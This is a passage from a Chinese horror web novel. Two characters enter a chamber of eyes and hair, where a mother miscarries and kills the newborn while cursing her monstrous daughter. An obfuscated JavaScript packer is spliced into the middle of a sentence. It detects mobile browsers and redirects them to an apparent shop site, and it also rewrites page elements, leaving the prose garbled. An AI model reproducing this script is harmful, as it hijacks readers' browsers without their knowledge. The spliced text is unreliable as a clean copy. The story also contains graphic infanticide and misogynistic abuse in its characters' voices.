吴森森摇摇头,表示还能坚持。他注意到,周围那些“眼球发丝人”虽然形象恐怖,但对他们两人的存在视若无睹,仿佛他们只是背景的一部分。 这些怪物完全沉浸在自己扭曲的社会角色和工作中,进行着令人作呕的日常。 两人就这样,在无数眼球有意无意的注视下,穿行于这片诡异有序的广场,最终来到了那棵通天彻地的“眼球发丝树” 脚下。 近距离仰望,这棵“树”的庞大与邪恶感达到了顶点。 无数蠕动纠缠的发丝构成的主干直径超过十米,表面镶嵌的眼球如同呼吸般明灭。 高耸的“树冠”没入低垂的、被染成暗紫色的“天穹”之中,仿佛真的是连接天地的支柱。 一种无处不在的、被窥视、被审视、被当成展览品的感觉,强烈到令人窒息。 就在他们仰望着巨树,思考该如何上去时,一颗直径超过两米、瞳孔是深邃紫黑色的巨大“飞行眼球”,缓缓从树冠方向降下,悬停在两人面前。 眼球冷漠地“注视”了他们几秒,然后,眼球的瞳孔微微收缩,传达出某种“信息”。 紧接着,几个身形更加“标准”、拟人化程度更高、甚至发型和衣着细节都更清晰的“眼球发丝人”,从树干侧面一个洞口中走出,来到了他们面前。 它们没有攻击,反而做出了类似“鞠躬”和“引路” 的动作,然后转身,示意两人跟上。 居然……是“邀请”? 吴森森和长岛冰茶对视一眼,都看到了对方眼中的惊疑与凝重。 但事已至此,退缩无益。 他们握紧手中的武器,带着十二万分的警惕,跟着那几个引路者,走向了树干。 靠近了才发现,树干底部,竟然“生长”出了一座完全由半透明、类似玻璃材质构成的、带有金属光泽边框的“电梯”! 电梯内部宽敞,四壁透明,可以清楚地看到外面蠕动的发丝和镶嵌的眼球。 引路的“眼球发丝人”按下了电梯内壁上一个类似按钮的凸起。 电梯门无声滑合,然后,开始平稳地上升。 透过透明的墙壁,他们看到树干内部并非实心,而是布满了蜂巢般的结构、流淌着暗紫色能量的管道、以及更多被包裹在发丝茧中、似乎还在微微挣扎的模糊人形。 电梯上升的速度很快,穿过了层层诡异的结构。 最终,电梯停在了一个类似“树冠内部大厅”的宽阔空间。 这里的光线是一种柔和的、却让人极不舒服的暗紫色荧光,空气中有股甜腻的腐香。 大厅中央,站着一个“人”。 那是一个看起来大约十四五岁的少女,穿着精致的初中校服,面容清秀,甚至可以说漂亮。 但她的脖颈以下,连接着的却是一具明显属于成熟女性的、曲线玲珑、穿着职业套裙的躯体! 这种上下身极不协调的组合,透着一种令人头皮发麻的诡异。 少女的脸上带着一种混合了天真、狂热与一丝非人空洞的笑容。 “欢迎来到‘注视之庭’。” 少女开口,声音清脆,却带着一丝不自然的回响,“我是丽子,是菊大人帮助过的对象,也是……丽子的眼球与欲望的体现。” 她微微歪头,用那双过于清澈的眼睛看着吴森森和长岛冰茶:“是菊大人感知到了你们的到来,也是我……自发地想见见你们。 “在菊大人的力量帮助下,我实现了自己的‘欲望’:变得美丽,变得重要,不再被忽视。看,我现在多‘完整’。” 她张开手臂,展示着自己那畸形的身体,语气中充满了扭曲的满足与自豪。 “菊大人就在上面,最核心的‘注视之间’。” 丽子指了指大厅上方,那里有一条螺旋上升的、由发光发丝构成的阶梯,“她……在等待‘补完’。也在等待……‘钥匙’。” “钥匙?” 长岛冰茶警惕地问。 丽子笑了笑,没有直接回答,只是说:“你们会知道的。请上去吧。菊大人……或许也想见见‘哥哥的朋友’。” 哥哥的朋友?是指佐藤莲认识的人?还是泛指他们这些试图阻止仪式的人? 这个自称“丽子”、由佐藤菊“帮助”而诞生的扭曲存在,究竟扮演着什么角色? 是向导?是守卫?还是另一个陷阱? 吴森森和长岛冰茶心中的不安达到了顶点。但箭在弦上,不得不发。 他们对视一眼,迈步走向那条通往树冠最顶端、通往“注视之间”的螺旋阶梯。 ———— 螺旋阶梯的尽头,是一处极为宽阔、却压抑到极点的空间——“注视之间”。 这里没有墙壁,只有无数缓缓蠕动、交织成网状的发丝,构成了空间的边界,发丝网上镶嵌的眼球如同繁星,冰冷地“注视”着内部的一切。 穹顶极高,中心是一片深邃的、仿佛连接着外部“天穹”的暗紫色漩涡。 吴森森能感觉到这块地方,居然是完整的域,这难道是少见的空间套叠? 这意味着佐藤菊要是完全异化成怪物的话,至少是五级以上的“神”。 而此刻聚集在此地的人,其复杂与扭曲程度,超出了吴森森的预料。 首先映入眼帘的,是一个脸色苍白、挺着明显孕肚、神情惶惑不安的中年妇女。 她似乎刚刚抵达不久,正急切地四处张望,喃喃自语:“我女儿在哪里?菊?菊你在哪儿?” 紧接着,她看到了角落里一个状态异常的身影——佐藤莲。 他站在那里,头微微仰着,目光空洞地望着上方,嘴唇无声地开合,反复低喃着“妹妹……妹妹……”。 而他的右手掌心,赫然嵌着一枚灵活转动的、带着血丝的诡异眼球,那眼球时而看向佐藤美和子,时而看向天花板,时而自己骨碌碌转动,仿佛拥有独立的意识。 佐藤美和子看到儿子这副模样,倒吸一口凉气,但还没来得及说什么,就被接下来的动静吸引。 两个“眼球发丝人”押送着两个身影走了进来。 一个是被绳索紧紧捆住手脚、嘴上贴着封条、不断挣扎、眼神惊恐愤怒的中年男人——正是佐藤美和子那个失联的男友。 另一个是紧紧抓着男人衣角、吓得瑟瑟发抖、大约十岁左右的小女孩——是这男人的女儿。 当看到佐藤美和子时,男人嘴上的封条自动松开、飘落。 “美和子?!你怎么在这里?!这、这到底是怎么回事?!这些怪物!放开我!” 男人一能说话,立刻爆发出愤怒的咆哮和咒骂,试图挣脱束缚。 “爸爸!爸爸我害怕!” 小女孩被男人的怒吼和周围的景象吓得放声大哭,紧紧抱住父亲的腿。 佐藤美和子看着突然出现的男友和女孩,看着他对自己被绑的愤怒远超过对自己安危的关心。 听着女孩的哭声,又想到自己腹中那个不被期待的“女儿”,以及失联的恐慌,连日来的压力、委屈、恐惧和一种被背叛的愤怒交织在一起,让她喉咙发紧,一时竟说不出话来,只是身体微微发抖,发出压抑的、无助的哀鸣。 就在这时,注视之间的“天花板”——那片暗紫色的漩涡中心——猛地、无声地睁开了一只巨大无比的眼睛! 这只眼睛的瞳孔是深邃的、仿佛能吸走灵魂的紫黑色,眼白布满血丝,边缘与周围的发丝和暗紫色能量融为一体。 它冷漠、空洞,却又仿佛蕴含着无尽的怨念与某种超然的“观察”,缓缓地、自上而下地“扫视”着下方聚集的众人。 这就是佐藤菊——或者说,是她的意识、她的力量、她所化生的最终形态的核心显化。 “啊——!!” 佐藤美和子和那个小女孩同时发出惊恐的尖叫。 男人也停止了咒骂,目瞪口呆,浑身僵直。 只有佐藤莲,在看到这只巨眼的瞬间,脸上露出了病态的激动与狂热,他伸出那只嵌着眼球的手,朝着上方挥舞,似乎想要拥抱那非人的存在,口中含糊地喊着:“菊……妹妹……我来了……我来救你了……” 巨眼只是极其轻微地转动了一下,瞥了佐藤莲一眼,那目光中没有温情,没有认同,只有一种看待工具或某种“关联物”的漠然。 随即,它的“视线”便牢牢锁定在了下方那个脸色惨白、浑身发抖的妇女——佐藤美和子身上。 空间里,开始回荡起一个空洞、飘渺、仿佛来自四面八方、又仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016516|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛直接响彻在脑海深处的女声,一声声,带着冰冷的回响: “妈妈……” “妈妈……” “妈妈……” 声音不大,却如同重锤,一次次敲打在佐藤美和子的心脏上。 她惊恐地瞪大眼睛,看着头顶那只恐怖的巨眼,疯狂摇头,声音尖利地否认:“不!不!你不是我女儿!我女儿不是这样的!这不是我女儿!这不可能!” 极度的恐惧让她双腿发软,踉跄着向后退去,想要远离那声音和视线。 突然,她腹部传来一阵撕裂般的剧痛!她惨叫一声,捂着肚子跪倒在地,温热的液体瞬间浸透了她的裙摆——小产了。 鲜血在地上迅速蔓延。 “美和子!” 男人见状,脸上闪过一丝复杂的情绪,但脱口而出的却是夹杂着恐惧和迁怒的咒骂:“你这个没用的女人!连孩子都保不住!两个孩子都养不好!晦气!” 他身边的小女孩,在最初的惊吓后,看到原本可能是继母痛苦流血的样子,又听到父亲的责骂,脸上竟然不自觉地浮现出一丝扭曲的、带着报复快意的笑容。 “啪!啪!” 两道凌厉的黑发如同鞭子,猛地抽在男人和小女孩身上,将他们狠狠抽飞到墙角,撞在发丝网上,疼得蜷缩起来,再也不敢出声。 而佐藤美和子,腹部的剧痛和身下蔓延的鲜血,仿佛抽干了她最后一丝力气和理智。她先是崩溃地哭泣,随即,一种扭曲的愤怒取代了恐惧。 “为什么……为什么……” 她抬起头,满脸泪痕和血污,眼神涣散,声音嘶哑地对着巨眼,也像是对着空气咆哮,“我那么辛苦!我付出了那么多!我努力维持这个家!我努力想要新的生活!为什么什么都没有得到?!为什么女儿会变成这个样子?!明明……明明现在有了新的开始,这个怪物!这个怪物女儿却要阻断我的路!为什么?!为什么我的孩子是个怪物?!为什么?!” 她的哭喊在空旷的“注视之间”回荡,充满了自怜、怨恨与彻底的推卸责任。 就在这时,一个微弱却清晰的婴儿啼哭声,突兀地响起。 众人一愣,循声看去。 只见从佐藤美和子身下流出的血泊中,一个小小的、未发育完全的、血糊糊的胎儿,竟然在这充满邪气的诡异空间中,没有立刻死去,而是发出了生命的啼哭! 它蜷缩着,小小的手脚微微动弹。 佐藤美和子也愣住了,她下意识地扑过去,用颤抖的手捧起那个血淋淋的小肉团。 当看清那尚未分化的性别特征,以及一种莫名的、或许是母性的回光返照,或许是绝望中的最后寄托,让她瞬间忘记了一切,脸上爆发出一种癫狂的、扭曲的喜悦! “儿子!是儿子!哈哈哈哈!” 她抱着胎儿,跌跌撞撞地爬起来,朝着墙角那个惊恐的男人奔去,脸上带着献宝般的、混合了泪水与疯狂的笑容,“快看看!是你儿子!我生了!我生了儿子! 你快看看啊!哈哈哈哈!” 男人看着那个血糊糊的、未成形的肉团,又看看状若疯癫的佐藤美和子,脸上只有更深的惊恐和厌恶,连连后退,仿佛那是世界上最可怕的瘟疫。 佐藤美和子的笑容僵在脸上。希望破灭的冰冷,再次席卷而来。 然而,就在这一刻,头顶那只巨大的眼球,第一次发出了明确指向性的声音,不再是空洞的“妈妈”,而是一个清晰的、冰冷的词语: “妹妹。” 这个声音,带着一种奇异的、非人的“确认”。 那个男人带来的小女孩哆嗦了一下,但随即意识到,这声“妹妹”不是叫她。 而佐藤美和子怀中的、那个血淋淋的胎儿,似乎微微动了一下。 佐藤美和子脸上的表情,瞬间从癫狂的喜悦,再次扭曲成极致的狰狞与怨毒! 她明白了!是佐藤菊!是这个怪物女儿!她不仅毁了自己,现在还“认定”了这个未出生的、不被期待的“妹妹”! 她要把一切都夺走!毁掉! “啊啊啊——!!!” 佐藤美和子发出一声歇斯底里的尖叫,她不再看向男人,而是将所有的恨意,倾泻向怀中那个无辜的、刚刚还被她视为“希望”的胎儿,以及……那个制造了这一切的源头! 她高高举起手中的胎儿,用尽全身力气,朝着坚硬的地面,狠狠地摔了下去! “啪叽!” 一声令人心胆俱裂的闷响。微弱的啼哭戛然而止。 “都是你的错!都是你们佐藤家的错!” 佐藤美和子披头散发,状如厉鬼,指着佐藤莲,指着头顶的巨眼,声嘶力竭地咒骂,“佐藤莲!你这个没用的废物哥哥!佐藤菊!你这个怪物!灾星!你们毁了这一切!为什么你是女儿!为什么你不好好当个正常的女儿!为什么你要变成这样来害我!为什么我的孩子都是女儿!都是没用的赔钱货! 还有你!你这个没良心的男人!你们都该死!都该死——!!!” 而面对亲生母亲如此疯狂的咒骂、弑婴的暴行,以及对她自身存在的彻底否定…… 那只悬浮于穹顶的、巨大的眼球,只是极其轻微地震动了一下,瞳孔中似乎有某种难以言喻的、更深沉的黑暗掠过。 然后,它重新恢复了那种绝对的、仿佛看透一切也漠视一切的冰冷与空洞,再无波澜。